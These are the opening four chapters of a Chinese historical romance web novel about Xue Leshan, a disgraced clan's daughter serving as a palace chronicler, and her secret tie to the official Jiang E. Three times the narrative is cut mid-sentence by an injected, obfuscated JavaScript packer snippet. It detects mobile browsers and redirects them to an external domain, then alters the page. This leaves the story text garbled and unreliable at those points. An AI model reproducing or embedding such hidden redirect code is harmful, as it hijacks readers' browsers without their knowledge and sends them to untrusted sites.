《替嫁纨绔后成了他的白月光》 1. 第 1 章 01 天蒙蒙亮着,屋内还是一片黑寂,但在月光的窥视下,门前倒立的绣花鞋,乱堆在箱笼上的百迭裙和短褙子,床边踏板的抹胸,以及到处散落的耳珰、银簪——满室凌乱一览无余。 半睡半醒间,乐善只觉额间、身上都是靡湿的腻汗,一夏的酷暑在这日凌晨里就见真章,背后烘烘的呼吸,更使她热得翻来翻去。 然而一动,腰酸得她止不住要吸气,人倒是渐渐清醒了。 男人的脸近在咫尺,三年未见,昨晚折腾这一宿,他肯定累得够呛,乐善枕起手臂静静看他。男人像他这样漂亮是很少见的,薄月似的嘴唇,高鼻梁,翘起的长睫毛,一双眼睛湿漉漉地正看着她。 不知几时,他睁开了眼。 昨夜战况激烈,一夜没睡好,他大约也还在朦胧中,大手覆上她的腰,人又整个地贴了过来,带着滚烫的温度。 乐善嫌热,一脚把他踹开,利落地从床上爬起来穿衣服,梳洗打扮。透过铜镜里她看见男人坐了起来,薄褥滑挂腰上,袒胸露臂,被她抓掉的冠早不知哪儿去了,散下来的乌发就这样随意披搭着,浑身流露出嗜欲慵懒的气韵。 乐善极力目不斜视,继续整理仪表。从前傅母就教训过她,说男人最美不得,比女人还会故作姿态。 此言诚不欺我,乐善想到昨夜痴缠,悔得咬紧了后牙。 被晾在一旁,一向养尊处优的男人脸上流露出心有不甘的神气,忍不住说:“你还没有给我一个答案。” “嘘!轻点声。”乐善充耳不闻。 时辰刚好,她仔细整理冠服,推门向外望了一眼,四下安静,没人走动。她微松口气,回头叮嘱他,“等会儿你悄悄从后门走,不要给人发现了。” 直到晨光微熹,乐善束手站在仁明殿外的廊子下,心里还是只有满满的懊恼。但这会儿也不及懊恼了,殿内张皇后起了,宫人端着一件件洗漱的器具鱼贯着进去,又鱼贯着出来。 随后,女官梁内人出来了,叫她:“薛女史,皇后有召。” 乐善姓薛,单名一个好字,在光鲜显赫的家族里,她是辈分最低的小妹妹,兄姊活得各有精彩,到她了,长辈们别无厚望,只盼她好——哪怕这样一个朴素的寄望,往往也事与愿违了。在她十五岁时,伯父薛翀因修史触怒皇帝,薛氏满门牵连问罪:十四岁以上男丁皆处死,十六岁以上女眷赐自缢,余下的虽苟且偷生,也尽数流徙千里。 三年前,皇帝大赦天下,乐善得以归京,充入掖庭为奴。在日夜不停的浆衣声里,她偶然得了张皇后的赏识,被提拔为起居舍人,掌录宫妃、命妇言行。 凡是经历过庚午之变的老宫人,对她的身份都有点讳莫如深,旁人不知情,只道她深受皇后看重,一来二往也肯交好一二。 梁内人自然不例外,与她错身之时,低声提点两句。 乐善打起精神进殿。 翠掩重门,大殿里日头昏沉,张皇后刚换过了衣服,坐在重重帷幔后面,仿佛一尊佛龛,完全沐浴在暗光里。这时有小宫人端茶进来,乐善善察上意,亲自接过茶奉上。 张皇后端过茶呷一口,随手搁在一旁,问:“昨日的事,你都在场知道了?” 乐善垂首,说:“是。” 昨日永福县主六十大寿,在府里设宴。老县主年高德劭,认真论起来,连皇帝都要喊她一声堂姑,宫里自该有一番表示,因此,梁内人奉了皇后懿旨前往,嘘寒问暖,赏金赐银。乐善因掌录事,也随同而去。 偌大的陈府里,唱戏的,评弹的,杂耍的……宾客川流不息,盛况可以媲美堂会。 上了年纪的老县主,平日最喜热闹,惟有一桩心事始终放不下:早几年前皇帝初登大位,心喜县主长孙青年才俊,特此下嫁昌宁公主,以示恩宠与亲近。无奈公主驸马婚后相互看不对眼,已经分居三年。 老县主心心念着四世同堂,便在诸人拜寿之际,左右牵起小夫妻的手殷殷期盼,谁知一言不合,昌宁公主与驸马陈菡竟当着宾客吵了起来,差点大动干戈,好不容易才劝住了。 “不像话。”张皇后摇头。 为尊者讳,乐善不敢置喙,没有说话。 张皇后沉吟着,垂下眼帘看她:“昌宁虽不是我所出,毕竟贵为一国公主,公主就该有公主的气度,昨日的事……” 乐善显然不是第一回了,驯良地低头:“娘娘放心,微臣绝不会将昨日的事见录于史。” 张皇后微微的笑起来,看着她,带着上位者的矜蔑,和一点微乎其微同情的神气。她的大伯薛翀因秉笔直书犯上,誓死不屈,这薛家小女倒识时达务,一点就通。 却步退出仁明殿,阳光直面照射下来,给人无处匿形之感。乐善抬手遮了一遮,沿着夏荫走回值房。 值房就在承明门里侧开了一间小房,距离阊阖门不算太远,这时正赶上大臣们退了朝,三三两两结伴而行,到官署上值。 门洞里,几名小宫人雀跃极了,七嘴八舌说个不停。乐善经过,她们看见了她非但不怕,还热心地向她招手作邀。 “快看,那是昌乐王吧!” 乐善站定,跟着她们在门内这么张了张望。 为首那人服饰华丽,头戴白玉冠饰,腰垂珠缨宝珞,左右大臣前呼后拥,阿谀谄媚——如此招摇,自然就是他们口中的昌乐王崔愈了。 要说当今皇帝杀兄夺位,登基以来,没少清算嘉平遗臣,但对这位先兄少子,竟会十足的溺爱——封侯拜爵不说,还被特许可以不着官服上朝,简直是无上的恩荣。 比太子,也可以说有过之而无不及。真不知皇帝心中怎样作想的。 乐善正想着呢,四周气氛豁然不同。 小宫人们交头接耳,完全兴冲冲的神采:“快看快看,那就是上一科的探花郎,时任协律都尉的江大人。” 稍落在后面的那人,乌发黑眸,高鼻薄唇,站在人群里仿佛孤光自照,漂亮得独一份。尤其是,举手投足间那点漫不经心的腔调,哪怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762930|174462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿着最寻常的斓衫,也惹得小宫人们纷纷引颈观望,心醉不已。 男人不该像他这样漂亮,同僚们不是没私下嗟叹过,同样考取了功名光耀了门楣,但跟他往那儿一站,完全衬得大伙跟个呆头鹅一样,只能自惭形秽。 “可惜天公不作美,像江大人这样白璧无瑕的人,我听说也会有不顺心的事。” 有小宫人泪洒胭脂,望着他走远的背影,惋惜得很:“是啊,据说他的结发妻子早几年就病逝了。” “他的妻子前世该是天仙一般的人物吧,今世得此良人同心相印,也不枉费来这人间一回了。” 小宫人们正值豆蔻之年,天真烂漫,笑嘻嘻的憧憬着旁人的爱情。乐善听了,嘴唇兀地翕动两下,无言以对。 “简直胡言乱语。” 身后传来一声冷哼,是掌事的莲嬷嬷,不知已听了多久。 有小宫人大起胆子,小声辩道:“嬷嬷不知,江大人至今独身一人,不肯再娶,很是痴情的哩!” 莲嬷嬷哂一下,不以为意:“一个两个惯会躲懒,还不赶快给我回去,仔细打你们的板子!”她脸色焦黄,眼皮耸拉着,人是有些上年纪了,盯过来的眼神却格外摄人,叫人从脚底下开始发渗。 小宫人们在她手底下做活,都怕她的手段,哀嚎着一窝蜂散开了。 乐善心想,照理莲嬷嬷会知道自己的身世,但竟无动于衷。所幸平日相安无事,所以乐善不怎么怵她,点头作为问候。 莲嬷嬷话少,今日也真奇怪,居然站住了,一副要跟她说道说道的架势。 “薛女史好兴致,竟会跟着一群丫头片子们凑趣。” 乐善说:“莲嬷嬷取笑了。” “小宫人涉世少,眼皮浅,一辈子也就这样过去了。而薛女史和她们不一样,读过书的女诸生,想必不会把小孩子话当了真。” 她一定话里有话,乐善微笑着只是装傻。 莲嬷嬷深深看她一眼,也不多说,转头走掉。乐善一头雾水,不过热闹看尽,她也回到值房里,研墨提笔,将昨日事一一写进命妇著记里。 刚提了一行字,才打过照面的,一个粉腮圆颊的小宫人跑进来了:“薛女史,莲嬷嬷说您受了蚊虫叮咬,肿了老大的包,特叫我拿药来给您涂。” 乐善不明所以,笑说:“我还好,劳莲嬷嬷挂心了。” 小宫人很热心,跑去拿来铜镜,替她对照着。一边羡慕地说:“薛女史,您的皮肤真白呀,凉沁沁的,像月光下的细雪,晶莹剔透…在这呢,您脖子后真有道红印子。” 铜镜里影影绰绰的红印,蓦地勾起她心里一点绮梦涟漪:天旋地转的房间,呼吸难抑,男人伏下来一团阴影,江上的碧波一浪一浪翻没了她。 小宫人仔细端详她脖子后面,仿佛也有点瞠目结舌:“好大一块红印子,这虫该有多毒啊。” 童言无忌。 而乐善方寸大乱。 她勉强笑:“坏虫叮的,真是不胜烦扰。” 2. 第 2 章 02 含蓄拒绝了小宫人的热心帮助,乐善拿指腹蘸取了药膏,对镜抹上那道红痕。 这一日,乐善始终有点心不在焉,大概是那药膏的影响,她老觉得脖子后凉飕飕的,仿佛有无数双眼睛盯着。 小宫人不谙世事,纯稚可爱,真道她是受了蚊虫叮咬,午后又殷勤送来了防蚊的香囊,请她佩戴。 乐善道了谢,站在门边,有一搭没一搭和小孩子套起了话:“嬷嬷真是火眼金睛,这么一点叮咬,不痛不痒,我都没能察觉,更遑论旁人了。” 小宫人感同身受地猛点头:“是了,嬷嬷厉害得很,就好像头顶上还长了只眼睛。” “尽管唬人,头顶上还长只眼睛,那不成了二郎显圣真君吗?” 小宫人怕她不信,说真的:“前儿宫宴上贵人们剩的乳羊饼,我对门的七巧偷偷昧了一个,那么烫,贴胸捂着居然一声不吭。最后还是给嬷嬷发现了,狠狠挨了一顿板子,现在人贬到掖庭浣衣去了。” “乳羊饼啊,说不定是嬷嬷手下哮天犬作的祟。”乐善调侃着,话音一转,“对了,她叫你送药来,没再说别的?” “没有啊。” “没再说到我吗?” 小宫人使劲回想了,然后拨浪鼓似的摇头,总算逗笑乐善,她回身取来一片银叶子,“拿着,谢你的香囊。” 小宫人得了赏,蹦蹦跳跳地走开了,乐善抱臂立在值房前,反复琢磨莲嬷嬷的用意。其实她遣来小宫人委婉提醒,是示好,亦或示警,都不重要。 重要的是,莲嬷嬷那双如鸷鸟锐利的眼睛,究竟察觉了什么?乐善不敢往下细想。 无论什么——乐善悔之不及,昨日出门一定没看黄历,尽撞倒霉运了。 …… 第一是不该来这寿宴。 然而,永福县主的寿宴当真称得上一句热闹非凡。 都赶得上办堂会的架势了,又是请范楼的大厨做席面,又是请江南的名班唱大戏,早半个月就张罗起来,声势浩大。老县主辈分高,儿子又是当年跟着皇帝靖难的功臣,又和宫里结了姻亲,满雒阳的命妇们哪有不唯她马首是瞻的。 一大清早,陈府前门那条街就走不通了,前车的宾客尚在府第外与主人家作揖道贺,后车赶来拜寿的还堵在最南边的开阳门,八街九陌,真可谓是车如流水马如龙。 宫里的荣宠也在这时到了。 乐善跟在梁内人身后进去,为首的永福县主身着诰命礼服,带着子孙、女眷谨候在大厅。见着宫里仪仗,众人齐齐跪伏,老县主也由左右搀扶着弯了膝,即刻就要拜倒。 才刚做个规矩,就有小黄门上前给扶立了,梁内人笑:“娘娘有言在先,老祖宗今日是寿星,虚礼尽可以免了。” 老县主感激涕零似的,忙点头说:“敬谢娘娘体惜。” 大厅里陆续搬进来十几台箱笼,依次打开箱子盖,里面是千卷的祝寿图、百尊的无量寿佛以及八只万年灵芝。梁内人代宫里一阵嘘寒问暖,然后笑说:“老祖宗,这些是皇后、贵人专给您添寿的。” 宫里待她这份亲厚,真是叫永福县主万死不辞了,老县主热泪盈眶,一面说着感涕何言,一面颤巍着又要伏倒。 “嗳呀老祖宗,万万不可。”这回是梁内人亲自给搀扶上了,“当真折煞我也。” 永福县主的大儿媳陈大奶奶也是个专精人情世故的,见机与女眷团团簇拥上来,热情寒暄。 乐善隐在欢闹的背景里,将这几幕冷笔记入。 宫内另有事务,梁内人盛情难却,也只敬了几杯热酒,也就匆匆赶回了。乐善受命掌录,脱身不得,只好留在陈府后苑,在一堆贺寿、打牌、喝茶、看戏的夫人、士女里转来转去,这记一笔,那述一评,端的架势十足。 别说,小小起居舍人,在她却是家学渊源。河西薛氏门楣不低,自太宗建国起,累世为史官,而她伯父薛翀、兄长薛言更是奉诏入东观,编修国史多年。 张皇后钦点她撰宫妃、命妇起居注,约莫也有这层考量。但落在旁人眼里全然不是那回事,世人看来,她做女史,不过是沦丧为皇后耳目,数典忘祖,浑不见当年薛氏子弟血溅法场的风骨,骂她两句阿谀奉承,还是轻的。乐善自己心知肚明。 然而,众人如何不屑一顾,如何避之不及,也不敢当面表露分毫,脸上总是客气相待。 唯独昌宁公主不同,宴后看见乐善,立刻横眉冷眼。 “你记的东西拿来我看看。”她径直走了过来。 彼时,昌宁公主刚和驸马陈菡大吵一架,气得永福县主几乎背过气去,宾客们一半劝,一半拦,忙得团团转。 乐善就在人堆里,赶巧看完了首尾,谁知道一出来,竟和昌宁公主面对面碰上了。 昌宁公主讳臾容,也是雒阳城里一号人物。当今皇帝还做秦王那时,就只得这么一个掌上明珠,疼爱有加自不必说,哪怕后来雒阳宫内又诞下了许多的小公主,要论及恩荣,没一个比得过昌宁公主在皇帝心中的份量。 帝后偏宠,又怜她早早没了生母,凡是要的,无有不给,更是养得昌宁愈发飞扬跋扈。到婚嫁了,怕她性子受气,帝后决定在宗亲里挑个知根知底的,最后选中永福县主的长孙,细论起来也算公主表兄,而且据说人是极英迈不群的。 可惜两人各有志高,这桩婚从一开始就没牵好,驸马心有怨尤,昌宁嫌他轻慢,夫妻婚后日日唇枪舌剑,有时逼急了眼,拳打脚踢也不含糊。 这一些事乐善向有耳闻,只管拣些无伤大雅的记录在案,隔日就算张皇后翻来看了,也不好置喙。 但公主不这么觉得,在昌宁眼里,乐善一介罪臣之女,胆敢窥探她的言行,已是死罪难饶,何况还要记在史册,将这名声流传千年,简直岂有此理。 对此,乐善当然有自知之明,尽管得了张皇后赏识,公主也不是她得罪得起的,所以凡是有公主参与的场合,她总跟在梁内人身后,如影随形,狐假虎威。 昌宁见了心里只有更鄙夷的,今日又不巧,正赶在气头上了,她往跟前一站,傅母、丫鬟一大群人就把乐善堵了个水泄不通。 躲是躲不及了,乐善低眉顺眼,说:“殿下,给您看是不合规矩的。” “哦。”昌宁今日是非看不可了,“那你念给我听,也行。” “念也不行。” “薛女史,你敢忤逆殿下?”公主傅母上前发话。 乐善说岂敢,岂敢。 “看来你果真记了殿下坏话,心里发虚,不敢当庭对峙!” “殿下何必为难下官。”乐善腰杆更低几分。 人是点头哈腰的姿态,结果半句不让,硬气得很的哟。昌宁冷冷揶揄:“人挪活,树挪死,这个道理按说薛女史该比咱们清楚才是,怎么现在又不懂变通了?” 公主这言外之意,是暗讽她曲意承迎,早舍弃了昔日薛氏清正不屈的风骨。 “殿下言重。” 这是一拳打进棉花里了,昌宁气得不免大动肝火,正要吩咐左右拿人,好给她一顿教训。 所幸陈府赶来救急的人这会儿可算是到了。 “殿下,可找着您了,前面的戏随时开场,大奶奶说就等着您去点戏了呢。” 好说歹说,昌宁听得不耐烦,终于走开几步,却又停住脚,挑衅似的回头,向着乐善一睨:“不看也罢,但今日的事,我赌你没胆子记。” 乐善不置可否:“殿下慢走。” 昌宁总算走了,身后浩浩荡荡跟了一大群人,穿过月洞门都往戏楼去了。 乐善微微松了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762931|174462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气。 “薛女史。”陈府的仆妇叫她,“主母特地嘱咐了我们不许怠慢,刚才的事请莫见怪。” 乐善说不怪,不怪。顿了一下,问:“你刚才说,前面开戏?” “是的,您也看看去?” 去啊,大庭广众,又有主人家在场,昌宁公主奈她不得,反倒是看到自己怡然自若听戏,更会气生气死吧?乐善苦涩一笑,觉得自己倒颇有几分苦中作乐的闲趣。 …… 第二是不该惹那公主。 果然昌宁看到她好端端的现身,还不知怎样的膈应。乐善反而目不斜视,由着仆妇引她到戏楼的偏席上就座。 公主带头,已先点了几目戏,台下正紧锣密鼓地筹备着。 乐善才坐下,心底已经有点懊恼。在她,其实很少看戏,自然更谈不上喜欢。 只记得从前家里逢年过节,延请戏班登台,总是连着几天几夜不停歇地唱。她打小就对这些咿咿呀呀的场合避之不及,不过长辈们在,小辈轻易不能离场,只好陪坐,那锣钹一响她眼睛就发直,顷刻就梦周公去了。 后来因缘际会,有个好老师,教会她看个中的关目情理,倒也肯耐下些性子,慢慢品戏赏鉴——但好戏毕竟是难有的。要是再碰上差些火候的戏目,不过是苦了自己枯坐。 这日陈府请的戏班,据说是在江州有着赫赫声名的女班,是为着老县主的寿宴狠下了一番功夫苦练的。 果然前几目的戏,就算以乐善挑剔的眼光来看,也有可圈可点之处。 “可比起小英的杜丽娘还是差远了。”乐善忍不住摇头,端起茶水润唇。 说来也奇,下一目戏正是《牡丹亭·惊梦》。主人家正同大家热情介绍:“诸位不容错过,这一目正是他们的拿手好戏,他们班主据说就是唱杜丽娘出名的。” 要说这陈府戏楼的视野,一定也是请了高人来专门设计的,饶是偏席也四面开阔,视线居然奇佳,台上杜丽娘甫一登台,全场一片欢呼,乐善仿佛也有点沉浸其中,茶水端在手里,竟会忘了搁下。 但这日不知是怎样的缘故,杜丽娘的发挥就有些失常了,尤其唱到惊梦中最缱绻一段,连平日里不经常看戏的人也觉得了,稀稀落落地议论起来。 陈三小姐——刚才向众人力荐的那位,讪讪地也很纳闷。今日之前她分明检验过许多回《惊梦》,扮演杜丽娘的班主名叫林敷英,表现着实惊艳,叫她看过几遍还是念念不忘,和刚才浑然是两个样。 一目戏罢了,林敷英在台上款款谢礼。 陈三小姐就是个痴迷看戏的,近几日和林敷英也很熟悉了,因取笑说:“小英,莫不是近日天气阴晴变化,令你身体不适,不然因何今日扮戏总差些火候?不成不成,害我在姊妹们跟前夸下海口,得多罚你唱一首。” 这话是找补,也有几分撇清之意。 “回三小姐,不赖天气。”林敷英实诚,摇了摇头。 三小姐哪有被堵过话的时候,不依:“但总该有个缘故。” 林敷英赧然,说:“刚才戏中,见旧主人夫妇赫然在座,不免想起从前主人教戏、姊妹们学戏的光景,一时恍惚,思绪万千,哽咽难言,还望在座诸位宾客宽恕。” “那是缘分,何谈怪罪。” 昌宁淡淡瞥了一眼陈三小姐,说道。跟故意呛她似的。 公主到底是陈府的媳妇儿,姑嫂之间闹脸色官司,就跟先头夫妻吵架一样,未免叫宾客主人都下不来台。陈大奶奶连忙岔开话题,左右张望着笑问:“真是奇了,小英,竟不知道在座哪位是你昔日旧主?” 在一片兴致融融的氛围下,林敷英袅袅身形微动,眼见着就要伏身拜候了。 “经年未见,还是小英眼尖啊。”楼外忽传掌声,有人懒懒一笑。 3. 第 3 章 03 众人循声看去,不知何时,戏楼外面已站了乌泱泱一大群人。为首的穿着青衣朱裳,一副清贵公子的作相,正是公主驸马陈菡,而他的身后,显然是适才拍掌发声那人,竟会是谁?居然有劳驸马亲自接见。 未出阁的小姐们好奇不已,然而有外男在,依着礼数,依旧蜂拥着避让了,乐善也悄悄混在其中,溜之大吉。 戏楼后,小姐们聚拢在一块,嘈嘈议论着。 “刚才那人是谁,好生无礼。”尽管这样说着,陈三小姐还是忍不住回望戏楼,刚才她倏忽一瞥,长兄身旁那人风流昳丽,气韵悠闲,难不成会是哪家皇亲国戚? “你看他那张脸就知道了,满雒阳的儿郎,就没有比他还好看的。” “原来是他。” “快说,是江燕客江大人不是?” “哦,这位我也知道,时任协律都尉,是天子近臣呢。” “嗳,嗳!怎么跟打哑谜似的,他究竟是何方人物?”问话的是尚书仆射雷岩的女公子,她家教严,家中遑论谈论男子,对此自然不甚了解。 “是上科的探花郎啊。”有小姐促狭一笑,说,“你们难道忘了,三年前少府丞侯家的四小姐榜下捉婿,捉的就是他,结果闹了好大一出笑话来。” 这下大家都有点印象了。 向来榜下捉婿是雒阳城里一桩雅事,尤其那探花郎,才情高相貌好,更是高门贵女翘首以盼的,每到放榜,家家只恐落了人后。 侯家那年是占了一点先机,甫一揭榜,立刻软硬兼施把新科探花郎请入门庭,要结两姓之好。 那探花郎却是再三推辞,自言已有家室。 或许侯四小姐惊鸿一瞥,早已芳心暗许,彼时隔着屏风静立,闻言竟顾不得礼教了,转出面来,羞涩说:“我闻郎君的原配妻子已过世了,至今孑然一身,我…我甘愿做续弦侍奉郎君左右…” “但我不愿。”那探花郎道。 事涉小姐声名,本该是秘而不闻的,谁知侯家当日倨傲,自觉十拿九稳,早在后苑摆酒请客,觥筹交错,济济一堂。前庭变故刚出,顷刻就有好事者传遍了雒阳,不知添了多少坊间茶话。 “也不能全怪侯家。”有小姐和侯家交好的,不免忿忿不平,“谁能知道这探花郎不识抬举,拿女儿给他做续弦也不肯。” “侯四小姐温婉可爱,甘愿委身下嫁是他的福分。” “就是。” 讨伐了半晌,简直快将那人说的面目可憎。雷小姐是个实在人,不由为他分辩一二:“其实讲句公道话,探花郎才貌兼全,对亡妻情深义重,更显人品可贵才是。” 然而小姐们年纪尚轻,哪怕不解爱情,也憧憬着一生一世一双人,探花郎再好,一个心里始终惦记着亡妻的人,绝不是值得托付的良人。 “听说他的妻子是弘农杨氏的小姐,叶小姐,令堂也出身弘农杨氏,那么细究起来,你们也算是表姐妹了,你快给大伙说说,她究竟是怎样的一个人?” 被叫到的叶小姐想了一阵,说:“我确实听母亲提过,不过她家是旁支,和我们本就不太来往,又听说身子骨孱弱,自幼便养在道观里求神佛的庇护,实在没多少人见过她一面。” “真可惜了,天不假年。” “要是她还活着多好,我真想结交这位探花郎夫人,不知她长什么样?一定是位绝代风华的美人吧。” 小姐们之间惺惺相惜,无不惋惜那已经亡故的女子。 池塘边,乐善正临水自照。 像她这样,小姐们眼中未嫁的老姑娘,是无须加入这场讨论的。所以她只管听着,池塘边走一走,松动松动从刚才起就僵直的背脊——尽管极力镇定了,但池面映照出那女子,眼里还余一点惊惶。 “丑样。”她不禁笑,但好在虚惊一场。 楼前又是另外一番情形。 江萼揖手为礼:“晚生江萼,贸然出声回应,惊扰到殿下、在座夫人小姐,给诸位赔罪,还望见谅。” 要说呢,漂亮的人就连告罪的姿态也是赏心悦目的,诸位夫人本来面有不豫,正想是哪家不知礼数的浪荡子呢,看清他样貌,一时也不好说话了。 “先前戏正精彩不忍打断,而后主仆重逢失态发声,都是人之常情。”陈菡拍拍他的肩,笑说,“至情至性,燕客,你何错之有啊。” 他是主人家,又贵为驸马,既已开了尊口,诸位夫人哪还有怪罪之理?何况公主在旁看着,也还没说什么呢。 陈大奶奶因向左右笑说:“一再听小英说过,她旧主人如何精于鉴赏,推崇备至,实在叫人好奇,原来这人活生生就站在咱们跟前呢。” “夫人谬赞,奇技淫巧,说来惭愧,更不值得一提。” 堂堂的探花郎,持着晚辈礼节答话,脸上毫无一丝的傲气,饶是先前陈大奶奶心里再有几分恼意,这会儿也全受用了。 “小英受教于你方有今日,我们都是知道的,探花郎休要自谦了。” 像是江萼这样出众的人物,雒阳城里的夫人们就没有不认识他的,眼看他进退有宜地和陈大奶奶一问一答,夫人们眼神递着眼神,心思也渐渐活络了起来。 和小姐们憧憬的不同,夫人们择婿则就要务实很多了:正年轻的探花郎,出身江南有名望的士族,进官以来,更是得了天子青睐——很有本事的哟。 要说心系亡妻,那也不成诟病,反倒更觉他人品贵重。今日他对亡妻深情,来日对续弦的妻子又能无情到哪儿去?况且自己教出来的女儿,夫人们是有自信的。 终究亡者已矣,也没留下个一儿半女。嫁过去了,往后二三十年朝夕相处、子孙满堂,还怕比不过前人吗? 但也不是没有顾虑在。 侯家毕竟前车之鉴,这位探花郎看着彬彬有礼,拒婚时倒硬气,只怕威逼不来。是故,三年以来观望的多,托了媒婆上门说亲的,还是少数。 今日倒是个机会,戏楼上都是女眷,小姐们看戏各有情态,不管成心还是无意,先前他默不作声,还不知看了多少去。 倘若就有一个正合他眼缘呢? 奈何陈大奶奶今日只管问话,江萼也只管答,夫人们想要搭讪不能,一双眼睛恨不得长在他身上,简直快把人看杀了。 “我有一丝疑虑,江大人可为我解答吗?”还是昌宁先不耐烦,出言打断, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762932|174462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “刚才小英自述望见旧主人夫妇,心生恍惚,发挥不佳。江大人既是旧主,那我不免好奇,尊夫人何在呢?” 一片死静之下,还是陈菡当先反应过来,警告般叫了一声昌宁。 听得公主发问,夫人们你看看我,我看看你,也开始疑神疑鬼,心想青天白日,总不该活见了鬼吧? “小英,你果真看见人了?”陈菡只好再问。 那戏楼上,早已人去席空。林敷英向来是实心人,但如今做到戏班主,独当一面,不完全没心眼,闻言抬起头,无不茫然:“刚才贵人们说话,小英不敢僭越插嘴,正想问少爷呢,怎么不见少夫人啊?” 好端端提起伤心事,年轻俊美的探花郎垂下眼睫,只是一言不发。好看的人,连伤心也成了一道风景,在座夫人们见了不免为之心酸,有那软心肠的,更是拿出巾帕来默默抹泪了。 陈大奶奶心善,帮着解围了,说:“你们主仆多年未见,也不怪你不知情。小英,江夫人几年前就病逝了。” 林敷英仿佛后知后觉,呆立不语。 昌宁说:“原来如此,节哀。” 陈菡引江萼入书房谈事,还说:“公主就那脾气,想一出是一出,肆无忌惮。燕客,我替她向你赔罪。” 江萼仿佛有点心不在焉,有一阵才回过神,笑说:“些许小事,莲亭兄言重。” 书房内另有几位同僚,得知原委,也都劝说:“燕客兄也是,男人当有四方之志,切莫再为旧事伤怀了。” 书房外有人通禀,陈菡立刻出去了。旁的人还极力劝说着:“真的,倘若江夫人知道,见你这样,九泉之下也难安息的。” “多谢,多谢。”江萼懒得理,但也敷衍。 这时节榴花似火,陈府书房外也植来两株,就在窗格前。从江萼这里望过去,正看见乱红的花,翠绿的竹,以及墙面绰绰的两个人影。 陈菡正和个女子说着什么,他和公主夫妻两个说话,只怕都没这么和睦,然而,晚春的蝉鸣已是大显功力,聒噪个不停,叫人想听也听不真切。 好一会儿了,陈菡才进来,抱手告歉:“劳你们久等,我们继续。” 有人不嫌事大,取笑:“咱们驸马爷真是胆大包天,公然在书房外与女子说笑。公主今日就在府内,你也不怕她撞见了气恼。” “去去,少胡说了。”陈菡摆摆手,“那是皇后跟前的薛女史,来告辞的,父亲没在,下人们便引来我这里。” “胡说,告辞的话说这么久?” 陈菡无奈,不得不作解释:“我是听下人们讲了,先前公主刁难她,场面闹得很不好看,我不得给人赔礼道歉啊,怎么在你们嘴里就没一句中听的。” 也有真关心他的,提醒说:“薛家的人,莲亭兄也还是避些嫌吧。” “当年薛家的事,和她有什么关系。何况,我年少时到雒阳求学,曾听过她家长辈讲经,论起来,她也算是我小师妹了,真要避嫌,我陈菡反倒成什么人了?” 望了一圈,书房里一半看热闹的,一半劝的。唯独江萼倚在窗畔,浑若无事地欣赏榴花。 “燕客,请你来评评理。”陈菡走过去,叫道。 4. 第 4 章 04 “这株榴花颜如渥丹,是从江南移植的品种吧,能够成活真不容易。”众人都望过来,江萼只是避而不谈,“抱歉,莲亭兄,你们刚才在说什么?” “正说起薛家那个小女儿呢。” “还是燕客兄有闲情逸致。主人家要你评评理,你倒好,两耳不闻,一株花也能看痴了去。” 江萼故意揖手,笑说:“什么薛家,我真不知道。” “少来,我看是你惯技了,最会装聋作哑。”是和江萼相熟的同僚,才敢这样肆意地开他玩笑。 江萼显然毫不介怀,也笑:“快饶了我吧。” 看向陈菡,刚才众人起哄,他仿佛是有点义不容辞,这会儿经江萼稍一打岔,不由得自悔失言了,便有眼尖的顺水推舟:“薛家是朝中禁忌,不说也好,不说也好。咱们言归正传。” 后话自然是再没有了。 男人走了,小姐们又蜂拥着回戏楼看戏。看她们兴冲冲的,乐善却突然没了兴致,索性向主人家辞了行。 陈府今日里外都忙,内院自不必说,戏楼上、暖阁里,到处都是女眷们盈盈的笑声。外院也实在热闹,凡是雒阳有头有脸的人物,谁不争相赶来送上贺礼? 于是迎客、送茶、端上时新的果子…下人们穿行其间,忙得团团转。 想着不给主人家添乱,乐善谢绝了陈家为她备车的好意,但她毕竟是张皇后跟前的人,他们岂敢怠慢,请她在亭中稍坐,一面赶紧找人去套马车了。 乐善坐定,左右闲得无事,踱步亭中欣赏后苑春光。 这座府邸坐落在永和里,是雒阳最繁华的地段,上任主人原是前光禄卿闻捷。庚午之变,闻捷死守宫城被乱箭射死,之后,闻家也被清算抄家,府邸空出来,便被皇帝赏给了陈家。 乐善小时候曾随母亲来玩过。光禄卿夫人是个极爱惜花的,那时府中后苑遍植牡丹,珍稀品类尽有,每到时节,闻夫人势必要开一场牡丹宴,雒阳士女以赴会为荣,有时连宫里贵人也会驾临观赏。 现在当然荡然无存,连牡丹的影儿都没有了。 其实也不怪得,乐善心想,陈家武将出身,几代镇守西北,后来跟着皇帝靖难,举家搬来雒阳也才八九年的光景。都说一朝天子一朝臣,何况苑内牡丹。 但到底可惜了,她轻叹一声。 